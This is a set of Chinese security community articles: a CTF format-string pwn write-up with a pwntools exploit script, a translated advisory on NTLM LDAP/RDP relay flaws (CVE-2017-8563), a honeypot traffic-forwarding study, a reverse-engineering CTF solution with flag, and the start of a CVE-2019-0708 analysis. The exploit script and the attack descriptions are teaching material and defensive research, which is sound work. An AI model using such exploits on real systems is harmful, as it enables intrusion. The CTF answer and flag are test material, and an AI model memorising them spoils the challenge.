试想一下在这个情况下，格式化字符串漏洞能做到哪些事： **读取栈、写入栈**
唯一不同的就是，无法做到 **”任意地址“** 了
我们期望程序返回到后门函数，那么在不剩其他方法的情况下，就只剩下劫持控制流了
我们在第一次printf处下断点，观察此时的堆栈情况：
当程序从这个函数返回的时候将通过
leave
ret
指令返回，此时的返回地址在0xffffcf8c —> 0x804864b (add esp,0x10)
如果我们修改0x804864b为0x80485AB，就能直接返回到后门函数了
那么我们的目的就变得明确了：
我们期望能够修改0xffffcf8c的值，就需要让某个地址指向0xffffcf8c构成
addr1-->0xffffcf8c --> 0x804864b
然后将addr1作为%n的参数，就会像0xffffcf8c中写入期望值了
可以注意到，0xffffcf88，即EBP是一条很长的地址链，我们可以利用该地址链来写
EBP=0x8c
payload="%"+str(EBP)+"c%10$hhn"
payload+="|"+"%"+str(backdoor)+"c%18$hn"+"|"
逻辑：
1. 第一步：addr1(0xffffcf88)—>addr2(0xffffcfa8)—>addr3(0xffffcfde)
2. 第二步：addr1(0xffffcf88)—>addr2(0xffffcfa8)—>addr3(0xffffcf8c)
3. 第三步：addr1(0xffffcfa8)—>addr2(0xffffcf8c)—>addr3(backdoor)
只是由于栈往往是随机化的，因此栈地址自然也会变动。
但是不论如何随机化，栈的初始化都是符合对齐规则的，因此读者可能会发现：0xffffcf8c地址的最后一位0x8c尽管会变化，但不论怎么变都是”0x?c“
因此我们只需要不断的运行，直到某一次程序启动的时候，随机化地址正好是0x8c时即可
from pwn import *
p = process('./xman_2019_format')
#p=remote("node4.buuoj.cn",29753)
elf = ELF('./xman_2019_format')
context.log_level = 'debug'
backdoor=0x80485AB&0xffff
EBP=0x8c
payload="%"+str(EBP)+"c%10$hhn"
payload+="|"+"%"+str(backdoor)+"c%18$hn"+"|"
p.send(payload)
p.interactive()
实际上，利用这样的漏洞的条件是苛刻的
* **1.有多次printf**
* **2.函数分为多层，能够形成地址链**
* **3.有后门函数**
* **4.程序逻辑简单可预测**
之所以有第四点，是因为我们往往难以保证0x8c中的”c“不会因为其他操作而变动
本题是因为程序的逻辑始终相同，因此我们能够预测到栈的使用情况——push多少次、pop多少次，因此最后一位才会始终相同
但如果程序的逻辑稍微复杂一些，我们需要爆破的位数就会一下子上升数十至数百倍，基本就可以放弃了
不过，这样的思路却是合理的。笔者参阅了一些类似的题目，例如CSAW 中的 contacts
contacts要比笔者所说的例题复杂得多，但思路却同样都是劫持控制流，读者若是感兴趣，可以去搜索一下该题
## 思考
之所以说它是苛刻的，是因为在例题中，我们只能利用这一个漏洞
因为没有其他的漏洞，所以我们才不得不用格式化字符串漏洞去覆写，又或是伪造参数
但我们可以想象一下，假设我们能够栈溢出，那么是否就能轻松很多呢？
哪怕是在堆上，如果存在其他的漏洞，那是否还需要用这样的方式拿shell？
实际上，我们大可以用它来泄露canary、fd指针等，而不是以该漏洞作为拿shell的重头戏 | 社区文章 |
# 【漏洞分析】NTLM中LDAP&RDP Relay漏洞分析（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：preempt.com
原文地址：<https://blog.preempt.com/new-ldap-rdp-relay-vulnerabilities-in-ntlm>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：160RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**0x00 前言**
过去几个月，Preempt研究团队发现并报告了两个微软的NT LAN
Manager（NTLM）漏洞。这些漏洞有同一个问题，即NTLM没有正确处理两种不同的协议。这些问题非常重要，因为即使开启了LDAP服务器签名和RDP限制管理模式，它们也能允许攻击者创建新的域名管理员账户。
两个漏洞的描述视频如下：
NTLM是微软安全协议的一个套件，可提供认证、完整性和机密性。NTLM
relay被广大黑客熟知。如果你邀请一个渗透测试组来进行安全审计，他们可能会使用NTLM relay攻击攻陷你的网络。
下图是如何完成NTLM relay的简要示意图：
简言之，在NTLM中，当一个用户希望连接一个服务器时，服务器发起challenge，用户使用他们的密码哈希加密challenge。攻击者创建一个并行会话连接服务器，他希望成功创建NTLM认证。使用成功的NTLM认证，攻击者能立刻打开一个SMB会话，并使用恶意软件感染目标系统。
**0x01 NTLM凭据relay可以使用两种方式阻止**
1\.
SMB签名：是一种服务器与客户端协商以使用继承的会话密钥对所有传入的数据包进行数字签名的配置。这样的话，即使NTLM会话还是可能被relay，服务器也不会被利用，因为攻击者缺少会话密钥。除了SMB，DCE/RPC通信也是用这种技术保护。此刻，在Active
Directory网络中应该注意到它，只有域名控制器默认开启SMB签名，其他的所有服务器或工作组默认不受保护。
2\.
认证增强保护（EPA）：是认证过程的一种机制，客户端申请使用继承的会话密钥对TLS会话的一个元素进行数字签名。EPA在其他协议中和HTTP一起使用。这种方式有几个值得注意的地方。首先，它需要协议支持TLS。其次，EPA不能统一配置。这意味着，每个服务器或应用程序管理员不得不手动开启它（默认是关闭的）来阻止凭据转发。
**0x02 漏洞1：LDAP Relay（CVE-2017-8563）**
我们报告的第一个漏洞是LDAP不受NTLM relay保护。
LDAP协议用于Active
Directory中查询和更新所有的域名对象（用户、组、终端等）。在组策略中有个特殊的配置（域名控制器：LDAP服务器签名需要）。当这个组策略设置为“需要签名”，域名控制器拒绝没有使用继承的会话密钥数字签名的LDAP会话，或者通过TLS（LDAPS）加密整个会话。
这里的漏洞是，LDAP签名能阻止中间人攻击和凭据转发；LDAPS能阻止中间人攻击，但是不能阻止凭据转发。这使得具有SYSTEM权限的攻击者能使用任意的传入NTLM会话，并代表NTLM用户执行LDAP操作。为了实现这个方式，我们需要知道所有的Windows协议使用Windows认证API（SSPI），可以将认证会话降级到NTLM。
结果，每个连接到受感染的机器（SMB，WMI，SQL，HTTP）都将导致攻击者创建域管理员账户并完全控制被攻击的网络。
**0x03 漏洞2：RDP relay**
第二个问题是与RDP受限管理员有关。RDP受限管理允许用户不需要远程计算机的密码就能连接到远程计算机上。
RDP受限管理过去很受欢迎，因为它[使得攻击者使用pass-the-hash连接到远程计算机](https://labs.portcullis.co.uk/blog/new-restricted-admin-feature-of-rdp-8-1-allows-pass-the-hash/)。但是，过去没人公开对失陷的终端执行RDP。Preempt发现了RDP受限管理，其有时被误认为是Kerberosed
RDP，能允许在认证协商中降级为NTLM。这意味着你可以使用NTLM执行的每次攻击，如凭据中转和破解密码。
因为RDP受限模式作为具有权限提升的技术支持人员远程访问计算机的方式，这使得他们的凭据处于风险状态。而且组合第一个LDAP
relay问题，这意味着每次使用RDP受限管理的连接，攻击者能够创建一个恶意的域管理员。
**0x04 微软响应中心回复**
微软承认了两个问题。对于第一个CVE编号为CVE-2017-8563，补丁已经发布。对于第二个，微软宣称是已知问题并且建议安全配置网络。
时间点：
2017-04-02：Preempt联系MSRC报告漏洞
2017-04-06：MSRC承认报告
2017-05-09：MSRC确认LDAP问题，认为RDP可通过配置修复
2017-07-11：[微软在7月补丁修复了CVE-2017-8563](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8563)
**0x05 如何自我保护**
NTLM是非常危险的，可以用于凭据转发和密码破解。如果你可以，你应该避免在你的网络使用它，那么你将很安全。
为了安全，我建议按下面步骤采取措施（1-2是必须的，3-5强烈建议）：
1\. 在你所有的域名控制器上安装[CVE-2017-8563](https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2017-8563)的补丁。如果你有自动软件更新，可能已经更新过了，但是需要重启计算机才能生效。
2\. 在组策略中开启“需要LDAP签名”。默认是关闭的，很像SMB签名，如果配置不当，将不受保护。
3\. 根据[指导](https://support.microsoft.com/en-us/help/4034879/how-to-add-the-ldapenforcechannelbinding-registry-entry)，通过SSL/TLS进行LDAP认证
4\. 监控你网络中的NTLM流量，确保检查任何异常
5\.
不要给你的帮助人员域名管理员权限，因为他们登陆到多个工作组，他们的凭据不安全（如果需要，给他们两个账户，一个是远程协助，另一个具有域名管理员权限）。对于这个，我推荐你看下[微软Pass-the-Hash](https://www.microsoft.com/en-us/download/details.aspx?id=36036)指导。
6\. 可以通过[视频](https://www.preempt.com/video/getting-handle-ntlm/)了解Preempt如何帮助企业级用户的。 | 社区文章 |
# 0x00 前言
之前搞蜜罐项目，领导提了一个部署方案：主机器部署蜜罐，其他节点能否在不部署蜜罐的情况下，监听对应端口，能否直接将端口流量转发到蜜罐机器。大致流程如下图所示，故如果有端口的恶意请求到达A/B/C机器，流量转到蜜罐机器，蜜罐机器能记录到相关恶意请求，
**且蜜罐机器能获取到恶意请求的原始ip** 。
该方案的好处是能做到蜜罐的轻量部署，增加节点也很便捷——直接监听端口然后做转发。但是该方案也带来了新的问题，一个最实际的问题是：A/B/C的恶意请求转发到蜜罐机器后，
**蜜罐机器如何获取到而已请求的原始ip（攻击者ip）（A/B/C如何透传ip到蜜罐机器）** ，故而解决这个问题是最迫切的。
故笔者花了很长时间对几类端口转发方案进行调研测试。本文对每个方案的部署和配置方法及实践测试结果进行记录。希望能给也在做类似蜜罐方案及在研究端口流量转发透传ip的师傅们一些参考。
# 0x01 端口流量转发方案调研
_文中涉及的机器及ip地址：
Client：192.168.45.36
A-机器：192.168.40.147
B-蜜罐机器：192.168.40.148_
## 1.1 rinetd
官网地址：<https://boutell.com/rinetd/>
实践于蜜罐参考文章：<https://www.cnblogs.com/Eleven-Liu/p/9204244.html>
但是文中说明：蜜罐收集到的日志的访问源IP是我们诱捕节点的ip，不是攻击者所在服务器的ip。文中的思路是：通过syslog的方式把端口转发（rinetd.log）和蜜罐（kippo.log）这两份日志都实时同步至splunk服务器，做关联。
**调研结果：**
由于上述提到的文章中，作者已对rinetd进行测试，无法获取到原始ip，故没有在本地再部署测试。文中说明：A机器经过rinetd将端口转发到蜜罐机器，蜜罐机器收到的攻击ip是A机器的，并非原始ip（攻击者ip）。但文章中的思路还是不错的，将rinetd日志与kippo蜜罐日志都收集起来，做关联。可达到我们的方案需求。
## 1.2 haproxy
HAProxy是一个使用C语言编写的自由及开放源代码软件，其提供高可用性、负载均衡，以及基于TCP和HTTP的应用程序代理。
### 1.2.1 haproxy部署（A机器）
wget http://www.haproxy.org/download/2.1/src/haproxy-2.1.5.tar.gz
tar -xzf haproxy-2.1.5.tar.gz
cd haproxy-2.1.5/
# 编译
make -j $(nproc) PREFIX=/home/ha/haproxy TARGET=linux-glibc USE_NS=
# 安装
make install
/etc/下新建haproxy目录，目录下新建haproxy.cfg配置文件：
vim /etc/haproxy/haproxy.cfg
配置文件内容如下（监听10000端口转发到192.168.40.148的10000端口）：
global
defaults
log global
mode tcp
option dontlognull
timeout connect 5000
timeout client 50000
timeout server 50000
frontend name-in
# 监听10000端口
bind *:10000
default_backend name-out
backend name-out
# 转发
server server1 192.168.40.148 maxconn 20480
运行：
./haproxy -D -f /etc/haproxy/haproxy.cfg
运行结果如下：
可以看到， **192.168.40.148的10000端口收到的请求同样是来自40.147的，并不是原始ip** 。
### 1.2.2 haproxy实现ip透传
#### (1) 重新编译haproxy
# 加上关键选项 USE_LINUX_TPROXY=1，打开透传用户IP的代码
make -j $(nproc) PREFIX=/home/ha/haproxy TARGET=linux-glibc USE_LINUX_TPROXY=1 USE_NS=
make install
#### (2) 配置 `haproxy.cfg`
global
defaults
log global
mode tcp
# 加上下行关键配置项
source 0.0.0.0 usesrc clientip
option dontlognull
timeout connect 5000
timeout client 50000
timeout server 50000
frontend name-in
bind *:10000
default_backend name-out
backend name-out
server server1 192.168.40.148 maxconn 20480
#### (3) 配置返回包路由
**蜜罐机器路由配置：**
# 通过添加这条路由，让后端server将返回包路由到proxy节点，192.168.40.147为proxy的Ip
route add -net 192.168.0.0/16 gw 192.168.40.147
**蜜罐机器Proxy路由配置：**
/sbin/iptables -F
/sbin/iptables -t mangle -N DIVERT
/sbin/iptables -t mangle -A PREROUTING -p tcp -m socket -j DIVERT
/sbin/iptables -t mangle -A DIVERT -j MARK --set-mark 1
/sbin/iptables -t mangle -A DIVERT -j ACCEPT
/sbin/ip rule add fwmark 1 lookup 100
/sbin/ip route add local 0.0.0.0/0 dev lo table 100
# 通过以上配置，将所有发往Proxy的tcp包，重定向到本地环路（lo）上。然后由TProxy内核补丁来对这些网络包进行处理，进而成功将后端server返回包路由回源客户端
运行结果如下：
可以看到， **蜜罐机器拿到的攻击ip是原始ip，可达到透传效果** 。
原理参考这篇文章：<https://blog.csdn.net/frockee/article/details/78641188>
### 1.2.3 总结
haproxy通过重新编译，以及蜜罐机器修改相关路由，可实现透传效果。但是该方案有两个缺陷：
（1）haproxy目前只支持tcp、http、https等，不支持udp。
（2）该方案需要在蜜罐机器更改路由表，操作起来对蜜罐机器网络会有一定影响，会造成其他更多问题。
## 1.3 nginx
### 1.3.1 nginx安装配置
# 安装nginx
yum install nginx
# 编辑nginx配置文件
vim /etc/nginx/nginx.conf
`nginx.conf`内容如下：
stream {
upstream master {
# 转发到40.147的10000端口
server 192.168.40.147:10000;
}
server {
# 监听tcp端口9999
listen 9999;
# 监听udp端口10000
listen 10000 udp;
proxy_timeout 20s;
proxy_pass master;
proxy_buffer_size 512k;
}
}
运行nginx：
service nginx start
# 运行后，本地监听了tcp端口9999和udp端口10000
### 1.3.2 tcp/udp端口转发测试
#### (1) 测试udp端口连通性
# 转发的目标机器监听udp端口
nc -lu 10000
# 本地扫描机器扫描转发机器的udp端口
netcat -u 192.168.40.148 10000
# 也可用nmap扫描udp端口
nmap -sU -p 10000 192.168.40.148
#### (2) tcp端口继续用nmap扫描测试
### 1.3.3 ip透传测试
方案参考这篇文章：<https://cloud.tencent.com/developer/article/1449427>
在HTTP协议中，可通过`X-Forwarded-For`头部传递客户端IP，而TCP与UDP则不行。`Proxy
protocol`本是一个好的解决方案，它通过在传输层header之上添加一层描述对端的ip和port来解决问题，但nginx目前对`Proxy
protocol`的支持仅限于tcp协议，并不支持udp协议。
使用文章中的第一种方法（适用于udp和tcp）进行ip透传测试：
蜜罐机器nginx配置：
stream {
upstream dns_master {
server 192.168.40.147:10000;
}
server {
listen 9999;
# listen 10000 udp;
proxy_responses 1;
proxy_timeout 2s;
# 之前使用的nginx/1.10.3版本不支持该配置，会报错：
# [emerg] invalid number of arguments in "proxy_bind" directive，故需升级
proxy_bind $remote_addr transparent;
proxy_pass dns_master;
# proxy_buffer_size 512k;
}
}
A机器配置：
# 删除原默认网关
route del default gw 192.168.40.1
# 增加默认网关为蜜罐机器ip
route add default gw 192.168.40.148
蜜罐机器配置相关路由：
ip rule add fwmark 1 lookup 100
ip route add local 0.0.0.0/0 dev lo table 100
iptables -t mangle -A PREROUTING -p tcp -s 192.168.0.0/16 --sport 10000 -j MARK --set-xmark 0x1/0xffffffff
**该方案可实现ip透传。**
### 1.3.4 总结
该方案可实现tcp/udp的ip透传，但是也涉及修改蜜罐机器的相关路由，操作起来也会对蜜罐机器网络会有一定影响，会造成其他更多问题。
## 1.4 iptables
### 1.4.1 iptables 配置
#### (1) 开启机器的转发功能（A机器）：
sysctl net.ipv4.ip_forward
# 如果已经启动则显示
> net.ipv4.ip_forward = 1
# 如果没有启动则显示(请按照下面步骤进行开启)
> net.ipv4.ip_forward = 0
# CentOS 6/Debian/Ubuntu 开启方式：
echo “net.ipv4.ip_forward = 1” >> /etc/sysctl.conf
sysctl -p
# CentOS 7 开启方式：
echo “net.ipv4.ip_forward = 1” >> /usr/lib/sysctl.d/cloudiplc.conf
sysctl -p /usr/lib/sysctl.d/cloudiplc.conf
#### (2) 加入iptables规则（A机器）：
源地址发送数据--> {PREROUTING-->路由规则-->POSTROUTING} -->目的地址接收到数据
iptables -t nat -A PREROUTING -p tcp --dport 10000 -j DNAT --to-destination 192.168.40.148
iptables -t nat -A PREROUTING -p udp --dport 10000 -j DNAT --to-destination 192.168.40.148
iptables -t nat -A POSTROUTING -p tcp -d 192.168.40.148 --dport 10000 -j SNAT --to-source 192.168.40.147
iptables -t nat -A POSTROUTING -p udp -d 192.168.40.148 --dport 10000 -j SNAT --to-source 192.168.40.147
# 说明：
# DNAT是destination networkaddress translation的缩写，即目标网络地址转换。
# SNAT是source networkaddress translation的缩写，即源地址目标转换。
# MASQUERADE，地址伪装，算是snat中的一种特例，可以实现自动化的snat。
# 修改后重启生效：
# CentOS6：
service iptables restart
# CentOS7:
systemctl restart iptables.service
### 1.4.2 本地测试
A机器（192.168.40.147）的10000端口流量转发到B机器（192.168.40.148）的10000端口，配置好相关iptables策略，重启iptables服务：
在B机器（192.168.40.148）监听10000端口，本地请求（telnet）A机器的1000端口会被转发到B机器的10000端口：
可以看到B机器收到了请求，但是 **请求源ip是A机器的ip，并非本地的原始请求ip** 。
### 1.4.3 透传ip方案
如下配置可实现ip透传：
# A机器
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp -d 192.168.40.147 --dport 10000 -j DNAT --to 192.168.40.148
iptables -t nat -A POSTROUTING -s 192.168.40.148 SNAT --to 192.168.40.147
# 蜜罐机器
ip route del default
ip route add default via 192.168.40.1
### 1.4.4 总结
该方案可实现ip透传，但是涉及修改蜜罐机器默认路由，操作起来也会对蜜罐机器网络会有一定影响，会造成其他更多问题。
## 1.5 iptables + gre隧道
### 1.5.1 开启路由转发及加载内核模块（A机器）
# 开启ipv4路由转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 加载GRE内核模块
modprobe --first-time ip_gre
### 1.5.2 开启隧道及添加iptables规则（A机器）
# 开启隧道
ip link add gre-y type gre local 192.168.40.147 remote 192.168.40.148 ttl 64
ip link set gre-y up
ip addr add 192.168.40.1/24 dev gre-y
# 添加iptables DNAT规则
iptables -t nat -I PREROUTING -p tcp --dport 10000 -j DNAT --to-destination 10.1.1.3:10000
### 1.5.3 开启隧道及配置路由（蜜罐机器）
# 开启隧道
ip link add gre-x type gre local 192.168.40.148 remote 192.168.40.147 ttl 64
ip link set gre-x up
ip addr add 192.168.40.148/24 dev gre-x
# 配置策略路由，答复数据包（仅答复数据包）通过隧道
ip route add default via 192.168.40.147 dev gre-x table 1111
ip rule add pref 1000 from 192.168.40.148 lookup 1111
测试结果如下图所示：
可达ip透传效果。参考链接如下：
参考链接：<https://superuser.com/questions/1357440/iptables-forwarding-port-s-to-a-external-ip-transparently-remote-end-should-see>
### 1.5.4 总结
该方案算是对蜜罐机器影响较小的一个方案。可尝试在该方案上进行拓展。
# 0x02 调研结果汇总
序号 | 方案 | 特征或缺陷
---|---|---
1 | rinetd | 无法实现ip透传，无法获取到原始ip（攻击者ip）
2 | haproxy | （1）haproxy目前只支持tcp、http、https等，不支持udp；
（2）该方案需要在蜜罐机器更改路由表，操作起来对蜜罐机器网络会有一定影响，会造成其他更多问题。
3 | nginx | 涉及修改蜜罐机器默认路由，操作起来也会对蜜罐机器网络会有一定影响，会造成其他更多问题
4 | iptables | 涉及修改蜜罐机器默认路由，操作起来也会对蜜罐机器网络会有一定影响，会造成其他更多问题
5 | iptables+gre隧道 | 该方案算是对蜜罐机器影响较小的一个方案，可尝试在该方案上进行拓展
# 0x03 后记
方案调研完成后，本想在开源蜜罐上进行实践。但由于目前流行的蜜罐方案（T-Pot、HFish等）便捷的部署方案都是docker部署。容器内都有其独立网络，特别是T-POT，部署完成后，有多个容器，每个容器都是独立网络。若使用上文中可行的端口流量转发方案，T-POT应该是不可行的。配置和处理各个容器的网络非常复杂及繁琐（当然有懂行的大佬觉得可行，虚心请教）。
目前我也没有很好的将端口流量转发与蜜罐进行实践，目前的蜜罐项目也停滞不前了。本文权当一个思路分享吧，并根据这个思路衍生出的一些方案对比测试。也打个广告：如果有在做相关蜜罐项目或使用该方案的师傅们，希望能一起交流一下，迫切想有一个可落地的方案。 | 社区文章 |
# 2021强网杯LongTimeAgo复盘分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 花指令
查看`main`函数能看出有异常跳转。
查看汇编，将此处`c`为代码。
之后再依次去除花指令，再反汇编得到`main`函数伪代码。
主函数不短，先根据参数大概还原函数名，可以看出是常规的对输入加密再check。
接下来结合动态调试逐步分析。
## 初步check与自定义结构体初始化
这一段出现的变量`v3`，`v4`，`v5`最终只在最后一个`if`语句中使用，可以直接动调查看比较的左侧的值即可得知这段代码的作用。
在比较处下断点，可知值为我们输入的长度，因此这段代码实质上是用来计算输入长度。即输入长度为64。
之后进行数据初始化后进入一个循环。
可以看出循环每次将输入字符串的地址加8，直到到达字符串结束地址。因此该循环应该是对输入的每8个字符进行一次处理。循环8次。
每次循环都首先调用`sub_401DB0`函数，参数为本次循环处理的8个字节的起始地址和常数8。进行分析。
显然前面一段还是用来得到字符串的长度，这里字符串为大写的16进制的16个字符，则长度为16，分析可知这里就是将8个字符按十六进制转换为32位数据并返回，且输入必须在`0123456789ABCDEF`中，否则返回0。
类似
binascii.a2b_hex(v)
再看之前的循环，其中有两段类似的操作，一段处理的是根据输入转换而来的8个dword数据，一段处理的是data段固定的8个dword数据。
将其分别存储在`buf_char_72`与`buf_char_360`中的每9个dword中的第2个dword中。
其中的while循环根据数据计算得到一个值，存储在每9个dword中的第1个dword中。
若输入为12345678，则该值为4。
若输入为00345678，则该值为3。
若输入全为0或非法（不在0123456789ABCDEF中），则该值为0。
实质上保存的是该值的有效字节数。
则这里的`buf_char_72`与`buf_char_360`可能是结构体，应该是用来分别存储输入数据和最后的加密结果。
则可创建如下结构体。
再重新`y`设置`buf_char_72`与`buf_char_360`的数据类型，显然为`struc_data`数组，长度都应该为8，再重命名变量。
之后该循环如下。
## xtea与tea的魔改与异或加密
该循环之后，分别调用4次`sub_403460`函数、2次`sub_4029E0`函数和2次`sub_402030`函数。
根据参数，显然后面四次函数调用，使用了输入转换来的数据，每两个为一组进行加密处理，密钥即为前面`sub_403460`函数的参数v25-v28，由于v25-v28前面均未使用，则这里`sub_403460`函数应该是对其赋值，进行密钥的初始化。（由于是每两个一组加密，且密钥数据为4个，可以猜测是tea加密，没有用Findcrypt找到说明可能常数被改了）
查看`sub_403460`函数。
显然根据传入参数的不同，每次调用该函数会使得`sub_401EF0`函数生成一个值，类似前面对输入和加密结果的处理，又根据该值生成有效字节数，猜测这里是一个类似前面的结构体。
同样设置结构体。
则4次调用可以生成4个key值，且数据固定。因此可以动调得到4个key值。第二个参数的数值越大，运行时间越长，不想去分析`sub_401EF0`函数则等待即可。
相关值如下。
key1 = 0x0FFFD valid_flag = 2
key2 = 0x1FFFD valid_flag = 3
key3 = 0x3FFFD valid_flag = 3
key4 = 0x7FFFD valid_flag = 3
回去分析加密函数`sub_4029E0`。代码非常长，先去除花指令。对部分变量重命名，再慢慢看。
根据变量引用能看出下面为一个整体部分。
数据有效字节长度范围是0-4，则`if`语句只可能走向最后两部种情况。若默认数据的有效长度为4，则能够看出其实就是将第一个数据存储到`v53[0]`处。
同理经过观察后面还有几部分类似的代码，根据偏移计算可知，实质上就是将两个输入数据和4个key值分别进行转储（按照自定义的数据结构体）。
据此并结合内存地址，设置如上结构体。重新设置数据类型与变量名。
输入与密钥的转储之后的一个循环应该是关键的加密。根据值sum每次循环都减去0x70C88617以及最后循环结束时值为0xE6EF3D20，得循环次数为32。显然为tea加密族。根据明显可以看到的
`>> 11) & 3`可知为xtea加密。
v = 0
i = 0
while v!=0xE6EF3D20:
i+=1
v -= 0x70C88617
v &= 0xffff_ffff
print(i) # 32
则根据xtea加密以及相关参数，可推出各个函数的作用。猜测这些函数是针对这种`valid_flag+data`的结构体专门实现的各种运算。
即这里对数据进行了被魔改的xtea加密。继续往后看。
之后根据前面生成key时所调用过的函数`create_data_based_const`又生成一个值。再计算其有效字节数形成自定义数据结构体，与加密后的data1进行异或。
之后又是类似最前面的代码，将异或后的结果又转储回原输入的地址。
同理，后面使用不同的参数调用函数`create_data_based_const`又生成一个值，与data2异或后转储回去。
该异或值可以通过动调，在前面生成密钥的地方修改参数后运行来获得。
`create_data_based_const(3,5) = 0xFD`
`create_data_based_const(3,6) = 0x1FD`
至此`sub_4029E0`加密函数分析完毕，即对输入生成的前4个dword数据分别进行魔改的xtea加密后再与固定数据异或。
接下来分析`sub_402030`函数。类似`sub_4029E0`函数，是tea加密，其中delta由`0x1E3F4AEF^0x230A6353`得到。最后再分别与`create_data_based_const(3,7)
= 0x3FD`和`create_data_based_const(3,8) =
0x7FD`异或。即对输入生成的后4个dword数据分别进行魔改的tea加密后再与固定数据异或。
主函数加密后就是check部分。
根据已知的check数据，可以知道加密后的`valid_flag`值都为4。则这里首先判断加密结果和check数据的有效字节数是否相同。
根据内存地址计算可知`v30[-0xD8]`与`v30[-0xD8]`实质上就是`input_data`与`res_data`的地址。
print(hex(0x48+0xd8*4)) # 0x3A8
print(hex(0x48+0x48*4)) # 0x168
则之后就是逐字节比较加密结果和check数据是否相同。
## 总结与解密
则加密与check流程大致如下。
len(input) == 64
every_char in '0123456789ABCDEF'
data = binascii.a2b_hex(input)
xtea_encrypt_xor(data[:4])
tea_encrypt_xor(data[4:8])
结合一些混淆，以及实现自定义结构体的相关代码（计算有效字节数，结构体对应的相关运算），使得代码量比较大，增大难度。
最后写出逆向解密脚本。
def xtea_xor_decipher(value, key):
v0, v1 = value[0], value[1]
v0 ^= 0xFD
v1 ^= 0x1FD
delta = 0x70C88617
su = 0xE6EF3D20
for i in range(32):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (su + key[(su >> 11) & 3])
v1 &= 0xffff_ffff
su = (su + delta) & 0xffff_ffff
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (su + key[su & 3])
v0 &= 0xffff_ffff
value[0] = v0
value[1] = v1
def tea_xor_decipher(value, key):
v0, v1 = value[0], value[1]
k0, k1, k2, k3 = key[0], key[1], key[2], key[3]
v0 ^= 0x3FD
v1 ^= 0x7FD
delta = 0x1E3F4AEF^0x230A6353
su = (32*delta)&0xffff_ffff
for i in range(32):
v1 -= ((v0<<4) + k2) ^ ((v0>>5) + k3) ^ (v0 + su)
v1 &= 0xffff_ffff
v0 -= ((v1<<4) + k0) ^ ((v1>>5) + k1) ^ (v1 + su)
v0 &= 0xffff_ffff
su = su - delta
value[0] = v0
value[1] = v1
res = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485 ,0x357C3C3A, 0x738AF06C, 0x89B7F537]
key = [0x0FFFD,0x1FFFD,0x3FFFD,0x7FFFD]
flag = ''
for i in range(0, len(res)//2, 2):
tmp = [res[i], res[i + 1]]
xtea_xor_decipher(tmp, key)
res[i], res[i + 1] = tmp[0], tmp[1]
flag += hex(res[i])[2:] + hex(res[i+1])[2:]
for i in range(len(res)//2, len(res), 2):
tmp = [res[i], res[i + 1]]
tea_xor_decipher(tmp, key)
res[i], res[i + 1] = tmp[0], tmp[1]
flag += hex(res[i])[2:] + hex(res[i+1])[2:]
print(flag.upper())
# CD402B6A139283822F0DEA49E65794356F44EA9B3F56652F2DA39881EC491878
运行验证flag正确。
## 参考资料
[wp_by_SYJ-Re](https://bbs.pediy.com/thread-268137.htm)
[wp_by_Qfrost](http://www.qfrost.com/CTF/%E5%BC%BA%E7%BD%91%E6%9D%AF_2021/#more) | 社区文章 |
# 微软RDP服务高危UAF漏洞分析(CVE-2019-0708)
##### 译文声明
本文是翻译文章，文章原作者 天融信，文章来源：天融信
原文地址：[https://mp.weixin.qq.com/s?timestamp=1562293084&src=3&ver=1&signature=6humMDgkMn*uGoS12lBQ1vqEb9YuHlo5oETkGgyPw9Q2QTLSnqYCm2VJ5T1PIO0FNoKcvOScTpr*ffOc0-O1L0miymCO1vrMESZn6140-7BuN66PmFSfaodMIXrA0wZHlPXt26nAdOAhMnKB85kNH6S2B436nalrRtFVrKbrxNQ=](https://mp.weixin.qq.com/s?timestamp=1562293084&src=3&ver=1&signature=6humMDgkMn*uGoS12lBQ1vqEb9YuHlo5oETkGgyPw9Q2QTLSnqYCm2VJ5T1PIO0FNoKcvOScTpr*ffOc0-O1L0miymCO1vrMESZn6140-7BuN66PmFSfaodMIXrA0wZHlPXt26nAdOAhMnKB85kNH6S2B436nalrRtFVrKbrxNQ=)
译文仅供参考，具体内容表达以及含义原文为准。
原创： Alpha 天融信阿尔法实验室
#
## 0x00 前言
CVE-2019-0708经微软披露已经有一个多月了，本文将主要围绕以下几个方面介绍该漏洞
1、经过分析验证该漏洞是一个UAF漏洞，引发UAF漏洞的指针是由何时创建以及为何该指针在Free之后又被使用，是本文重点关注的地方。
2、该漏洞属于RDP协议实现方面的漏洞，文中会列举与该漏洞相关的RDP协议知识。
## 0x01 RDP协议介绍
### 1.1 RDP协议简介
远程桌面协议（RDP, RemoteDesktop Protocol）是一个多通道（multi-channel）的协议。RDP协议也是C/S网络结构，双方通过TCP连接进行通信，基本也是基于请求/响应这样的数据交换模式，这里贴一张来自微软发布的RDP协议时序图，该图详细描述了RDP连接中请求及响应的顺序及过程。
该文档（[MS-RDPBCGR].pdf）地址如下：
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5073f4ed-1e93-45e1-b039-6e30c385867c
文中不介绍通讯细节，有兴趣的读者可以自行阅读该文档。
### 1.2 静态虚拟信道（Static Virtual Channels）
静态虚拟通道允许RDP Client和RDP
Server通过主RDP数据连接通信。虚拟通道数据是特定于应用程序的，对RDP不透明。连接时最多可以创建31个静态虚拟通道。RDP
Client在连接序列的Basic Settings
Exchange阶段请求并确认所需虚拟通道列表，并在ChannelConnection阶段进行信道的连接。
每个虚拟通道充当独立的数据流。RDP Client和RDP Server检查在每个虚拟通道上接收的数据，并将数据流路由到适当的处理函数以进行进一步处理。
## 0x02 UAF成因及调试过程
已确认的是，CVE-2019-0708为UAF漏洞，众所周知UAF漏洞主要是由于对象指针在释放后再次被使用而引发的安全问题。那么在这一部分内容中，我将描述引发UAF漏洞的指针是由何时创建以及为何该指针在Free之后又被使用。
### 2.1 触发UAF的过程
